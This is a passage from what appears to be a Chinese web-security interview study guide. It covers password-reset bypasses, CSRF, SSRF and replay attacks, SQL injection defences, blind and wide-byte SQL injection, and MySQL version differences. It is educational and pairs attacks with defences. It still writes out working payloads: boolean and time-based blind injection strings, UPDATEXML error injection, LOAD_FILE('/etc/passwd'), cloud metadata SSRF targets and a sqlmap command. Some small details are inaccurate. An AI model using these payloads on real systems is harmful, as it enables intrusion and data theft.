- 将响应包中的验证结果字段(如
success=false
)修改为success=true
,或删除user_not_exist
相关提示。 - 重放修改后的数据包,直接进入密码重置页面18。
- 防御建议:验证逻辑必须在后端实现,前端仅用于展示,禁止依赖前端返回的验证结果。
2. 跳过验证步骤
- 攻击手法:
-
- 构造直接重置 URL:通过正常流程获取密码重置链接(如
https://example.com/reset?token=123
),然后修改token
参数或直接访问重置页面(如https://example.com/reset
),尝试跳过用户名验证环节78。 - 利用逻辑漏洞:某些系统在重置密码时未校验用户身份,攻击者可直接提交新密码。例如,发送
POST /reset
请求,携带任意用户 ID 和新密码,绕过验证12。
- 构造直接重置 URL:通过正常流程获取密码重置链接(如
三、验证码爆破与逻辑缺陷利用
1. 暴力破解验证码
- 适用场景:验证码复杂度低(如 4 位数字)、未设置有效期或次数限制。
- 攻击手法:
-
- 使用 Burp Suite Intruder 模块,对验证码参数进行字典爆破(如
0000
到9999
)。 - 结合响应包特征(如
验证码错误
与用户不存在
的响应长度差异),快速识别正确验证码214。
- 使用 Burp Suite Intruder 模块,对验证码参数进行字典爆破(如
- 案例:某系统的短信验证码为 4 位数字且未限制尝试次数,攻击者通过脚本在 5 分钟内爆破成功,重置任意用户密码2。
2. 验证码与用户未绑定
- 攻击手法:
-
- 输入有效用户名,获取验证码后,修改请求中的用户名为其他账户(如
admin
),使用同一验证码完成重置。 - 若系统未校验验证码与用户名的关联性,攻击者可利用此漏洞重置任意用户密码714。
- 输入有效用户名,获取验证码后,修改请求中的用户名为其他账户(如
四、SQL 注入与命令执行
1. 用户名输入框的 SQL 注入
- 攻击手法:
-
- 输入
' OR 1=1 --
,构造永真条件,绕过用户存在检查。 - 若系统执行
SELECT * FROM users WHERE username='$input'
,注入后语句变为SELECT * FROM users WHERE username='' OR 1=1 --'
,导致所有用户被视为存在56。
- 输入
- 防御建议:使用参数化查询,避免直接拼接用户输入到 SQL 语句中。
2. 二次注入
- 攻击手法:
-
- 输入
admin\'
,被转义为admin\\\'
存入数据库。 - 当系统再次使用该用户名时(如生成密码重置邮件),未再次转义,导致单引号闭合,触发 SQL 注入5。
- 输入
五、密码重置链接预测与伪造
1. 弱 token 生成逻辑
- 攻击手法:
-
- 若密码重置链接的 token 为时间戳、用户 ID 或简单哈希(如
md5(username+timestamp)
),攻击者可通过猜测 token 生成规律构造有效链接。 - 例如,某系统的 token 为
md5(username+current_time)
,攻击者可枚举时间戳范围,爆破出正确的 token711。
- 若密码重置链接的 token 为时间戳、用户 ID 或简单哈希(如
2. 钓鱼攻击
- 攻击手法:
-
- 构造虚假的密码重置页面,诱导用户输入用户名和新密码。
- 若用户输入有效用户名,攻击者可利用该信息进行后续攻击(如撞库、社工)1。
六、防御建议
- 统一错误提示:
-
- 无论用户是否存在,均返回相同提示(如 “用户名或验证码错误”),避免泄露用户存在信息。
- 强化验证逻辑:
-
- 验证码需绑定用户名、IP 地址和时间戳,防止重用。
- 限制验证码尝试次数(如 5 次 / 分钟),并设置有效期(如 5 分钟)。
- 输入验证与过滤:
-
- 对用户名输入进行严格的正则校验,禁止特殊字符和 SQL 注入语句。
- 使用参数化查询或 ORM 框架,避免 SQL 注入。
- 安全的密码重置流程:
-
- 密码重置链接的 token 需包含随机盐和时间戳,并使用 HMAC 签名防止篡改。
- 重置密码时,要求用户输入旧密码或进行二次验证(如短信验证码)。
- 日志与监控:
-
- 记录异常的密码重置请求(如同一 IP 短时间内多次尝试),并触发警报。
- 监控邮件服务器和短信网关的日志,及时发现异常发送行为。
总结
攻击者可通过用户枚举、响应包篡改、验证码爆破、SQL 注入等多种手段利用 “用户不存在” 提示的漏洞。防御者需从错误提示统一化、验证逻辑强化、输入过滤、安全流程设计等多维度构建防线,同时结合日志监控和应急响应机制,确保系统安全。
13.CSRF、SSRF和重放攻击有什莫区别
CSRF(跨站请求伪造)、SSRF(服务器端请求伪造)和重放攻击是三种不同的网络安全攻击类型,它们在攻击目标、技术实现和防御策略上存在显著差异。以下是具体分析:
一、核心原理与攻击目标
1. CSRF(跨站请求伪造)
- 原理:攻击者利用用户已登录的会话凭证(如 Cookie),诱导用户访问恶意网站,从而在用户不知情的情况下执行非预期操作(如转账、修改密码)。
- 攻击目标:用户的身份权限。攻击者无需窃取用户凭证,而是通过伪造请求间接冒用用户身份。
- 典型场景:
-
- 用户登录银行网站后,访问恶意页面,页面自动发送转账请求到银行服务器。
- 攻击者通过钓鱼邮件发送伪装的 “点赞” 链接,诱使用户点击后自动关注垃圾账号。
2. SSRF(服务器端请求伪造)
- 原理:攻击者控制服务器端的请求参数,迫使服务器向内部或外部的恶意地址发送请求,从而绕过网络隔离或获取敏感信息。
- 攻击目标:服务器的请求能力。攻击者利用服务器的权限访问内网资源(如数据库、文件系统)或执行恶意操作(如攻击其他服务器)。
- 典型场景:
-
- 攻击者通过图片加载功能,让服务器访问内部文件系统(如
file:///etc/passwd
)。 - 利用云服务元数据接口(如 AWS 的
169.254.169.254
)获取云服务器的访问凭证。
- 攻击者通过图片加载功能,让服务器访问内部文件系统(如
3. 重放攻击(Replay Attack)
- 原理:攻击者截获并重复发送合法的网络通信数据(如登录请求、支付确认),以达到欺骗系统的目的。
- 攻击目标:通信的时效性和唯一性。攻击者依赖重复使用有效请求,而非篡改数据内容。
- 典型场景:
-
- 窃取用户的登录凭证后,重放该凭证冒充用户登录。
- 在无线网络中捕获支付确认数据包,多次重放导致重复扣款。
二、攻击方式与技术特点
1. CSRF
- 攻击发起方:客户端(用户浏览器)。
- 技术手段:
-
- 伪造请求:通过 HTML 标签(如
<img src>
、<form>
)或 JavaScript 脚本,诱导浏览器发送请求。 - 利用 Cookie:浏览器自动携带目标网站的 Cookie,服务器无法区分请求来源。
- 伪造请求:通过 HTML 标签(如
- 关键条件:用户已登录目标网站,且服务器未验证请求的合法性(如未使用 CSRF Token)。
2. SSRF
- 攻击发起方:服务器端。
- 技术手段:
-
- 控制 URL 参数:在文件下载、图片加载等功能中,输入恶意 URL(如内网 IP、特殊协议)。
- 协议滥用:利用
file://
、gopher://
等协议读取本地文件或攻击其他服务。
- 关键条件:服务器对用户输入的 URL 未进行严格过滤,且具备访问内网资源的权限。
3. 重放攻击
- 攻击发起方:中间人(MITM)或攻击者本地。
- 技术手段:
-
- 数据包捕获:通过网络监听(如 Wireshark)或会话劫持(如 ARP 欺骗)获取通信数据。
- 直接重放:原封不动地重复发送捕获的数据包,或修改部分参数(如金额、时间戳)。
- 关键条件:通信数据未加密(如 HTTP 明文传输)或未使用防重放机制(如时间戳、随机数)。
三、防御策略对比
1. CSRF
- Token 验证:在请求中加入随机生成的 CSRF Token,服务器验证 Token 的有效性(如表单隐藏字段、请求头)。
- SameSite Cookie:设置 Cookie 的
SameSite
属性为Strict
或Lax
,限制第三方网站携带 Cookie。 - Referer/Origin 校验:检查请求来源的域名是否合法,防止跨站请求。
2. SSRF
- URL 白名单:仅允许访问预定义的安全域名(如
example.com
),禁止内网 IP 和特殊协议。 - 协议限制:禁用
file://
、gopher://
等危险协议,仅允许 HTTP/HTTPS。 - 请求代理:使用反向代理或中间件转发请求,避免服务器直接访问外部资源。
3. 重放攻击
- 时间戳:在请求中加入当前时间戳,服务器拒绝过期的请求(如超过 5 分钟)。
- Nonce(一次性随机数):每次请求生成唯一的随机数,服务器记录并验证 Nonce 的新鲜性。
- 数字签名:对请求数据进行加密签名,确保数据未被篡改且仅能使用一次。
四、典型案例与危害
攻击类型 | 案例描述 | 危害等级 |
CSRF | 某银行用户点击钓鱼链接后,自动向攻击者账户转账 5000 元。 | 高 |
SSRF | 攻击者利用电商平台的图片加载功能,访问内部数据库并导出用户信息。 | 极高 |
重放攻击 | 攻击者截获用户支付确认包,多次重放导致同一笔订单重复扣款 10 次。 | 中高 |
五、总结对比
维度 | CSRF | SSRF | 重放攻击 |
攻击目标 | 用户会话凭证 | 服务器请求能力 | 通信数据的时效性 |
发起方 | 客户端(用户浏览器) | 服务器端 | 中间人或攻击者本地 |
核心技术 | 伪造请求、利用 Cookie | 控制 URL 参数、协议滥用 | 数据包捕获与重放 |
防御重点 | Token 验证、SameSite Cookie | URL 白名单、协议限制 | 时间戳、Nonce、数字签名 |
通过上述对比可以看出,三种攻击类型的本质差异在于攻击路径和利用对象的不同。防御时需根据具体场景针对性地设计安全策略,例如 CSRF 依赖客户端验证,SSRF 依赖服务器端过滤,而重放攻击则需增强通信的唯一性和时效性。
14.SQL注入防护措施
SQL 注入是通过将恶意 SQL 代码插入用户输入参数,欺骗数据库执行非预期操作的攻击方式。其防护需从编码、设计、框架、运行时等多层面实施多层防御策略,以下是核心防护措施:
一、编码层核心防护:杜绝动态拼接 SQL
1. 使用参数化查询(预处理语句)
- 原理:将 SQL 语句的 “模板” 与 “用户输入” 分离,数据库驱动自动对输入进行转义,禁止 SQL 语法解析。
- 实现方式:
-
- Java:
PreparedStatement
(预编译语句),如:java
- Java:
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, userInputUsername);
stmt.setString(2, userInputPassword);
-
- Python:
sqlite3
/psycopg2
等库的参数化查询,如:python
- Python:
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (user, pwd))
-
- PHP:
PDO
或mysqli
的预处理语句,避免sprintf
等直接拼接。
- PHP:
- 关键优势:彻底阻断用户输入与 SQL 语法的直接关联,防御所有类型的 SQL 注入(包括 Union 注入、报错注入等)。
2. ORM 框架(对象关系映射)
- 原理:通过 ORM 工具(如 Hibernate、MyBatis、SQLAlchemy)生成安全的 SQL 语句,禁止直接拼接原始 SQL。
- 注意事项:
-
- 避免使用 ORM 的 “原生 SQL” 功能(如 MyBatis 的
${}
拼接),优先使用#{}
参数化方式。 - 复杂查询需严格校验参数,防止 ORM 漏洞(如某些框架的动态查询拼接缺陷)。
- 避免使用 ORM 的 “原生 SQL” 功能(如 MyBatis 的
二、输入验证与过滤
1. 严格的数据校验
- 白名单策略:仅允许符合预期的输入(如邮箱格式、手机号格式、数字范围),拒绝所有不符合格式的数据。
-
- 示例:使用正则表达式校验邮箱(
^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$
)。
- 示例:使用正则表达式校验邮箱(
- 类型与长度限制:数据库字段设置类型约束(如
INT
、VARCHAR(50)
),前端 / 后端同时限制输入长度。
2. 特殊字符转义
- 数据库驱动转义:优先使用数据库提供的转义函数(如 MySQL 的
mysqli_real_escape_string
),而非手动替换。 - 避免黑名单过滤:黑名单(如过滤
SELECT
、;
)容易被绕过(如大小写混淆SeLeCt
、编码绕过%53%45%4C%45%43%54
),白名单更安全。
三、数据库设计与权限控制
1. 最小权限原则
- 应用程序连接数据库时,使用仅具备必要权限的账户(如仅允许
SELECT
、INSERT
,禁止DROP
、ALTER
)。 - 示例:Web 应用账户禁止直接操作
sys
、information_schema
等敏感系统表。
2. 存储过程与视图
- 存储过程:封装复杂逻辑,避免动态 SQL(需注意存储过程内部是否拼接用户输入)。
- 视图:通过视图限制用户可访问的字段(如隐藏
password
、id
等敏感列)。
3. 禁用数据库错误回显
- 生产环境中关闭详细错误信息(如 PHP 的
display_errors = Off
,Java 的自定义错误页面),避免泄露表结构、字段名等信息。
四、框架与中间件安全配置
1. Web 框架内置防护
- Spring Boot:自动转义请求参数,配合
@RequestParam
/@PathVariable
的校验注解(如@Pattern
)。 - Django:ORM 默认启用参数化查询,
TextField
自动转义 HTML/SQL 特殊字符。 - Express.js:使用
express-validator
库进行输入校验,避免直接使用eval()
处理用户输入。
2. 中间件与 WAF(Web 应用防火墙)
- Nginx/WAF 规则:部署 OWASP Core Rule Set(CRS),过滤包含
UNION
、SELECT
、--
、;
等关键词的请求。 - 运行时防护:通过 WAF 实时监控异常 SQL 模式(如高频
SELECT * FROM
、UPDATE ... WHERE 1=1
)。
五、其他补充措施
1. 二次注入防御
- 场景:用户输入先被转义存储(如
user_input = "admin'; DROP TABLE users;"
转义为admin\'
),但取出时未再次转义,导致拼接攻击。 - 防护:从数据库取出数据用于生成新 SQL 时,必须重新进行参数化处理或转义。
2. 定期安全测试
- 静态代码扫描:使用 SonarQube、FindBugs 等工具检测动态 SQL 拼接风险。
- 渗透测试:通过 OWASP SQLi 测试工具(如 SQLMap)模拟攻击,验证防护效果。
3. 日志与监控
- 记录所有数据库操作日志(含输入参数),监控异常高频查询、非预期表 / 字段访问。
总结:多层防御体系
防护层面 | 核心措施 | 防御效果 |
编码层 | 参数化查询、ORM、输入校验 | 阻断 99% 以上的 SQL 注入风险 |
数据库层 | 最小权限、存储过程、错误隐藏 | 限制攻击影响范围 |
框架层 | 内置转义、中间件过滤 | 快速部署基础防护 |
运行时 | WAF、日志监控 | 实时阻断漏网攻击 |
关键原则:永远不信任用户输入,核心防护依赖参数化查询 + 输入白名单,而非事后过滤。单一措施无法完全防御 SQL 注入,需结合多层策略构建安全屏障。
15.代码执行,文件读取,命令执行的函数都用那些
在不同的编程语言中,实现代码执行、文件读取和命令执行的函数各有不同。以下是几种常见编程语言的相关函数介绍:
Python
代码执行
exec()
:用于执行存储在字符串或文件对象中的 Python 代码。
python
code = "print('Hello, World!')"
exec(code)
eval()
:能计算字符串表达式的值,适用于简单的表达式执行。
python
expression = "2 + 3"
result = eval(expression)
print(result)
文件读取
open()
:可打开文件并返回文件对象,配合read()
、readline()
、readlines()
等方法读取文件内容。
python
# 以只读模式打开文件
with open('example.txt', 'r') as file:content = file.read()print(content)
命令执行
os.system()
:执行系统命令,返回命令执行后的状态码。
python
import os
os.system('ls -l')
subprocess.run()
:功能更强大,可获取命令的输出、错误信息等。
python
import subprocess
result = subprocess.run(['ls', '-l'], capture_output=True, text=True)
print(result.stdout)
PHP
代码执行
eval()
:执行 PHP 代码字符串。
php
$code = 'echo "Hello, World!";';
eval($code);
文件读取
file_get_contents()
:将整个文件读入一个字符串。
php
$content = file_get_contents('example.txt');
echo $content;
fopen()
、fread()
、fclose()
:配合使用可按指定方式读取文件。
php
$file = fopen('example.txt', 'r');
if ($file) {$content = fread($file, filesize('example.txt'));echo $content;fclose($file);
}
命令执行
system()
:执行外部程序并显示输出。
php
system('ls -l');
exec()
:执行外部程序并返回输出的最后一行。
php
$output = exec('ls -l');
echo $output;
shell_exec()
:通过 shell 环境执行命令,将完整输出作为字符串返回。
php
$output = shell_exec('ls -l');
echo $output;
Java
代码执行
在 Java 中,一般通过创建类和方法来执行代码,若要动态执行代码,可借助 Java 的反射机制。
java
import java.lang.reflect.Method;class Main {public static void main(String[] args) throws Exception {Class<?> clazz = Class.forName("java.lang.System");Method method = clazz.getMethod("out.println", Object.class);method.invoke(null, "Hello, World!");}
}
文件读取
FileReader
和BufferedReader
:用于按行读取文本文件。
java
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;public class FileReadExample {public static void main(String[] args) {try (BufferedReader br = new BufferedReader(new FileReader("example.txt"))) {String line;while ((line = br.readLine()) != null) {System.out.println(line);}} catch (IOException e) {e.printStackTrace();}}
}
命令执行
Runtime.getRuntime().exec()
:执行系统命令。
java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;public class CommandExecutionExample {public static void main(String[] args) {try {Process process = Runtime.getRuntime().exec("ls -l");BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {System.out.println(line);}process.waitFor();} catch (IOException | InterruptedException e) {e.printStackTrace();}}
}
JavaScript(Node.js)
代码执行
eval()
:执行 JavaScript 代码字符串。
javascript
const code = 'console.log("Hello, World!");';
eval(code);
文件读取
fs.readFileSync()
:同步读取文件内容。
javascript
const fs = require('fs');
const content = fs.readFileSync('example.txt', 'utf8');
console.log(content);
fs.readFile()
:异步读取文件内容。
javascript
const fs = require('fs');
fs.readFile('example.txt', 'utf8', (err, data) => {if (err) throw err;console.log(data);
});
命令执行
child_process.exec()
:执行 shell 命令。
javascript
const { exec } = require('child_process');
exec('ls -l', (error, stdout, stderr) => {if (error) {console.error(`执行出错: ${error}`);return;}console.log(`输出: ${stdout}`);
});
需注意,这些函数在执行时若涉及用户输入,要做好输入验证和过滤,防止代码注入、命令注入等安全问题。
16.为什莫参数化查询可以防止SQL注入
参数化查询(也称为预处理语句)是防止 SQL 注入攻击的一种有效手段,其原理主要基于将 SQL 语句的结构和用户输入的数据进行分离,以下为你详细解释:
1. 分离 SQL 语句结构和用户输入
- 传统 SQL 拼接的问题:在传统的 SQL 拼接方式中,用户输入的数据会直接嵌入到 SQL 语句中。例如,在一个简单的登录验证场景下,使用 Python 和 MySQL 的示例代码如下:
python
import mysql.connector# 假设这是用户输入的用户名和密码
username = "admin' OR '1'='1"
password = "any_password"# 拼接SQL语句
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"# 连接数据库并执行查询
conn = mysql.connector.connect(user='user', password='password', host='host', database='database')
cursor = conn.cursor()
cursor.execute(sql)
在上述代码中,攻击者输入的"admin' OR '1'='1"
会破坏原有的 SQL 语句逻辑,使得最终执行的 SQL 语句变成SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'any_password'
,由于'1'='1'
恒为真,攻击者可以绕过正常的身份验证。
- 参数化查询的做法:参数化查询将 SQL 语句的结构和用户输入的数据分开处理。同样是上述登录验证场景,使用参数化查询的代码如下:
python
import mysql.connector# 假设这是用户输入的用户名和密码
username = "admin' OR '1'='1"
password = "any_password"# 定义SQL语句结构,使用占位符
sql = "SELECT * FROM users WHERE username = %s AND password = %s"# 连接数据库并执行查询
conn = mysql.connector.connect(user='user', password='password', host='host', database='database')
cursor = conn.cursor()
# 将用户输入的数据作为参数传递给查询
cursor.execute(sql, (username, password))
在参数化查询中,%s
是占位符,数据库驱动会将用户输入的数据作为独立的参数进行处理,而不是将其直接嵌入到 SQL 语句中。
2. 数据库驱动自动处理输入
- 自动转义特殊字符:当使用参数化查询时,数据库驱动会自动对用户输入的数据进行处理,将其中的特殊字符进行转义。例如,单引号
'
会被转义为\'
,这样就避免了攻击者利用特殊字符来破坏 SQL 语句的结构。在上述例子中,用户输入的"admin' OR '1'='1"
会被正确处理,数据库执行的查询会按照正常的逻辑去查找用户名和密码匹配的记录,而不会受到输入中特殊字符的影响。 - 防止恶意代码注入:由于用户输入的数据被当作普通的数据处理,而不是 SQL 代码的一部分,攻击者无法通过输入恶意的 SQL 代码来改变查询的逻辑。数据库只会将输入的数据作为要匹配的内容,而不会将其解析为可执行的 SQL 语句,从而有效防止了 SQL 注入攻击。
3. 预编译机制
- 固定 SQL 语句结构:在使用参数化查询时,数据库会对 SQL 语句进行预编译。预编译是指数据库在执行查询之前,先对 SQL 语句的结构进行解析和优化,确定查询的执行计划。一旦 SQL 语句被预编译,其结构就固定下来,不会因为用户输入的不同而改变。这意味着攻击者无法通过输入恶意代码来修改 SQL 语句的结构,只能影响查询中使用的数据值。
- 提高安全性和性能:预编译机制不仅增强了安全性,还提高了查询的执行效率。因为数据库可以重复使用预编译的执行计划,对于相同结构但不同参数的查询,不需要每次都重新解析和优化 SQL 语句,从而减少了数据库的开销。
17.盲注是什莫,怎莫盲注
盲注是 SQL 注入攻击的一种特殊形式,当目标网站没有直接回显 SQL 执行的结果(如错误信息、查询数据)时,攻击者通过构造特定的 SQL 语句,利用 页面的状态变化(如页面是否正常返回、响应时间长短等)来间接推断数据库中的信息。
盲注通常分为两类:
- 布尔盲注:通过构造条件语句(如
AND 1=1
、AND 1=2
),观察页面是否返回预期结果(如登录成功 / 失败、存在 / 不存在某条数据),利用布尔逻辑(真 / 假)来推断数据。 - 时间盲注:通过构造带有时间延迟的语句(如
IF(条件, SLEEP(5), 0)
),根据页面响应时间是否延迟来判断条件是否成立,适用于页面无明显状态变化的场景。
如何进行盲注?(以布尔盲注为例,步骤解析)
1. 判断是否存在盲注漏洞
假设目标 URL 为 http://example.com/login.php?username=admin
,且页面仅返回 “用户名不存在” 或 “密码错误”,无其他信息。
- 构造测试语句:plaintext
http://example.com/login.php?username=admin' AND 1=1--
http://example.com/login.php?username=admin' AND 1=2--
-
- 若第一条返回正常页面(如 “密码错误”),第二条返回异常页面(如 “用户名不存在”),说明存在布尔盲注漏洞(条件成立时页面状态不同)。
2. 确定字段数(可选,适用于联合查询场景)
若页面支持联合查询(需通过其他方式判断),可通过 ORDER BY
确定字段数:
plaintext
http://example.com/login.php?username=admin' ORDER BY 3-- (若页面异常,说明字段数小于3)
3. 获取数据库信息(以 MySQL 为例)
(1)获取数据库名长度
构造语句判断数据库名长度是否为 n
:
plaintext
admin' AND LENGTH(DATABASE()) = n--
通过遍历 n
(如从 1 开始),观察页面状态变化,确定数据库名长度(如当 n=8
时页面正常,说明长度为 8)。
(2)逐字符获取数据库名
利用 SUBSTRING
或 MID
函数逐字符提取数据,结合 ASCII
码比较:
plaintext
admin' AND ASCII(SUBSTRING(DATABASE(), 1, 1)) = 101-- (判断第一个字符的 ASCII 码是否为101,即'e')
遍历 ASCII 码范围(如 33-126),根据页面状态确定每个字符(如 101
对应 e
,110
对应 n
)。
(3)获取表名、列名、数据
类似地,通过系统表(如 MySQL 的 information_schema.tables
、information_schema.columns
)逐字符推断:
- 获取表名:plaintext
admin' AND ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1), 1, 1)) = 116-- (判断第一个表名的首字符是否为't')
- 获取列名和数据时,需根据已知的表名进一步构造语句。
4. 时间盲注(适用于无页面状态变化的场景)
若布尔盲注无法通过页面状态判断,可利用时间函数(如 SLEEP()
)制造延迟:
plaintext
admin' AND IF(LENGTH(DATABASE())=8, SLEEP(5), 0)-- (若数据库名长度为8,延迟5秒,否则立即返回)
通过测量响应时间是否超过 5 秒,判断条件是否成立。
关键技巧与工具
- Payload 构造:
-
- 常用函数:
LENGTH()
、SUBSTRING()
、ASCII()
、IF()
、SLEEP()
(MySQL)、WAITFOR DELAY
(SQL Server)等。 - 条件判断:利用
AND
、OR
结合逻辑表达式,控制语句执行流程。
- 常用函数:
- 自动化工具:
-
- sqlmap:支持盲注检测,通过
--blind
或--time-based
参数指定盲注类型,例如:plaintext
- sqlmap:支持盲注检测,通过
sqlmap -u "http://example.com/login.php?username=admin" --data "password=123" --level 3 --risk 3 --time-sec 5
-
- 手工注入时,可编写脚本(如 Python)循环发送请求,自动解析响应状态或时间。
- 耐心与枚举:盲注效率较低,需逐字符枚举,可能需要数小时甚至更长时间,尤其在数据较长时。
总结
盲注的核心是 通过间接反馈推断数据,适用于无显式错误或回显的场景。攻击者需构造条件语句,结合数据库函数和页面状态(或时间延迟),逐步拼凑出敏感信息。防御盲注的关键是使用 参数化查询、过滤特殊字符,并限制数据库权限,避免攻击者获取任何形式的间接反馈。
18.宽字节注入产生原理以及根本原因
一、产生原理(以 GBK 编码为例)
宽字节注入的核心是利用多字节字符编码的特性,绕过应用层对单引号('
)的转义过滤,从而实现 SQL 注入。具体过程如下:
- 应用层的转义逻辑
当用户输入包含单引号('
)的参数时,应用程序通常会使用addslashes()
等函数对单引号进行转义,添加反斜杠(\
),将'
转换为\'
,试图阻止 SQL 注入。
-
- 例如,用户输入
%df'
,转义后变为%df\'
(十六进制为0xDF 0x5C 0x27
)。
- 例如,用户输入
- 编码特性的利用(GBK 编码)
在 GBK 编码中,两个连续的字节(范围为 0x81-0xFE 开头)表示一个宽字节字符。反斜杠\
的十六进制是0x5C
,不属于 GBK 的宽字节范围,但如果在其前面添加一个以0x81-0xFE
开头的字节(例如0xDF
),两者会被组合成一个有效的宽字节字符:
-
0xDF 0x5C
在 GBK 中对应字符“連”
(U+8FDE,繁体 “连”),此时反斜杠0x5C
不再作为转义符,而是与前一个字节组成一个字符,导致单引号'
(0x27
)被保留下来。
- SQL 语句的闭合与注入
转义后的%df\'
在 GBK 编码下被数据库解析为0xDF5C 0x27
,即一个宽字节字符和单引号。单引号未被有效转义,从而可以闭合 SQL 语句,插入恶意代码。
-
- 例如,原 SQL 语句:sql
SELECT * FROM users WHERE username = '$user' AND password = '$pass';
若 $user
被注入 %df' --
,转义后为 %df\' --
,但 GBK 编码下反斜杠被 “吃掉”,实际执行的 SQL 变为:sql
SELECT * FROM users WHERE username = '運'--' AND password = '$pass';
单引号闭合了 username
的参数,--
注释掉后续内容,导致 SQL 注入成功。
二、根本原因
- 编码方式的差异(核心原因)
-
- 应用程序与数据库使用的字符编码为双字节编码(如 GBK、GB2312),且允许通过组合字节形成宽字节字符。
- 反斜杠(
\
,单字节)与前一个字节(符合宽字节开头范围)组合时,被解析为一个宽字节字符,导致转义符失效。
- 输入过滤方式的缺陷
-
- 应用程序仅使用
addslashes()
等函数对单引号进行转义,未考虑编码对转义字符的影响。 - 未正确设置数据库连接的字符集(如未使用
SET NAMES GBK
或在连接时指定正确的编码),导致数据库以宽字节方式解析输入。
- 应用程序仅使用
- 字符集转换的漏洞
-
- 若前端(应用层)与数据库的字符集不一致(例如前端使用 UTF-8,数据库使用 GBK),可能在字符转换过程中触发宽字节组合,导致转义符被错误解析。
三、典型攻击示例
假设目标系统使用 GBK 编码,且对输入的单引号进行转义(添加 \
):
- 用户输入 Payload:
%df'
- 应用层转义后:
%df\'
(十六进制:0xDF 0x5C 0x27
) - 数据库以 GBK 解析时,
0xDF 0x5C
组合为宽字节字符“連”
,剩余0x27
为单引号,实际参数变为“連'
,单引号未被转义。 - 最终 SQL 语句被恶意闭合,注入成功。
四、防御措施
- 使用正确的字符编码
-
- 统一应用层、数据库连接、表字段的字符集为UTF-8(或 UTF-8mb4),避免使用 GBK 等双字节编码(UTF-8 是变长编码,单引号、反斜杠等字符不会与其他字节组合成宽字节字符)。
- 在数据库连接时显式指定字符集,例如 MySQL:php
mysqli_set_charset($conn, 'utf8mb4');
- 避免依赖转义函数(使用参数化查询)
-
- 放弃
addslashes()
、mysql_real_escape_string()
等函数,改用 ** 预编译语句(Prepared Statements)** 或 ORM 框架,确保参数与 SQL 语句分离,从根本上防止编码相关漏洞。
- 放弃
- 过滤危险字符
-
- 对用户输入中的单引号(
'
)、双引号("
)、分号(;
)、注释符(--
、#
)等进行严格过滤,而非仅转义。
- 对用户输入中的单引号(
- 设置数据库连接属性
-
- 在连接字符串中禁用宽字节兼容模式(如 MySQL 的
charset=utf8mb4
而非gbk
),避免数据库错误解析字节序列。
- 在连接字符串中禁用宽字节兼容模式(如 MySQL 的
总结
宽字节注入的本质是利用双字节编码的特性,使转义符(\
)与前一个字节组合成宽字节字符,导致单引号未被有效过滤。根本原因在于编码方式的选择(如 GBK)和输入处理逻辑的缺陷(仅依赖转义而非参数化查询)。防御的核心是使用 UTF-8 等安全编码,并彻底摒弃基于字符串拼接的 SQL 语句,改用参数化查询。
19.mysql的网站注入5.0以上和5.0以下有神魔区别
信息获取方式
MySQL 5.0 以下版本
在 MySQL 5.0 之前,并没有 information_schema
数据库,这是一个存储数据库元数据(如表名、列名等)的系统数据库。因此,攻击者不能直接从 information_schema
中获取数据库的结构信息。
- 获取表名和列名:需要通过其他方式,例如使用
mysql
数据库中的系统表(如mysql.user
),或者通过暴力枚举的方式猜测表名和列名。 - 示例:假设要获取数据库中的表名,可能需要使用类似以下的 SQL 注入语句(假设存在注入点):
sql
SELECT table_name FROM mysql.tables WHERE db = 'your_database_name';
不过这种方法的局限性较大,因为 mysql
数据库中的系统表存储的信息有限,而且不同版本的 mysql
数据库结构可能有所不同。
MySQL 5.0 及以上版本
从 MySQL 5.0 开始引入了 information_schema
数据库,它包含了所有数据库的元数据信息,攻击者可以方便地从中获取所需信息。
- 获取表名和列名:可以使用以下类型的 SQL 注入语句来获取表名和列名。
-
- 获取指定数据库中的所有表名:
sql
SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name';
- 获取指定表中的所有列名:
sql
SELECT column_name FROM information_schema.columns WHERE table_schema = 'your_database_name' AND table_name = 'your_table_name';
这种方式大大提高了攻击者获取数据库结构信息的效率和准确性。
函数和特性支持
MySQL 5.0 以下版本
一些在 MySQL 5.0 及以上版本中支持的函数和特性在 5.0 以下版本中可能不存在或功能受限。
- 存储过程和函数:MySQL 5.0 之前对存储过程和函数的支持不完善,攻击者无法利用存储过程和函数相关的漏洞进行攻击。
- 日志函数:像
LOAD_FILE()
等用于读取文件的函数在早期版本中可能不可用或存在限制,这使得攻击者在读取服务器文件时会受到更多阻碍。
MySQL 5.0 及以上版本
- 存储过程和函数:支持存储过程和函数的创建和执行,攻击者可以通过注入语句创建恶意的存储过程或函数,从而实现更复杂的攻击,例如执行系统命令等。
- 日志函数:可以使用
LOAD_FILE()
函数读取服务器上的文件,例如:
sql
SELECT LOAD_FILE('/etc/passwd');
如果网站存在注入漏洞,攻击者可以利用该函数读取服务器上的敏感文件。
错误信息和报错注入
MySQL 5.0 以下版本
错误信息的格式和内容可能与 5.0 及以上版本不同,报错注入的方法和利用难度也有所差异。早期版本的错误信息可能不够详细,攻击者难以通过错误信息获取有用的信息。
- 报错注入方式:由于错误信息有限,报错注入的方式相对较少,且成功率可能较低。
MySQL 5.0 及以上版本
错误信息更加详细和规范,攻击者可以利用更多的报错函数进行报错注入,例如 UPDATEXML()
、EXTRACTVALUE()
等。
- 示例:使用
UPDATEXML()
函数进行报错注入:
sql
SELECT UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1);
当执行该语句时,会因为 UPDATEXML()
函数的参数不合法而产生错误,错误信息中会包含 SELECT user()
的查询结果,攻击者可以通过这种方式获取数据库用户信息。
版本相关的漏洞利用
MySQL 5.0 以下版本
可能存在一些特定于早期版本的漏洞,攻击者可以利用这些漏洞进行注入攻击。例如,某些早期版本可能存在权限管理方面的漏洞,攻击者可以通过注入语句提升自己的权限。
MySQL 5.0 及以上版本
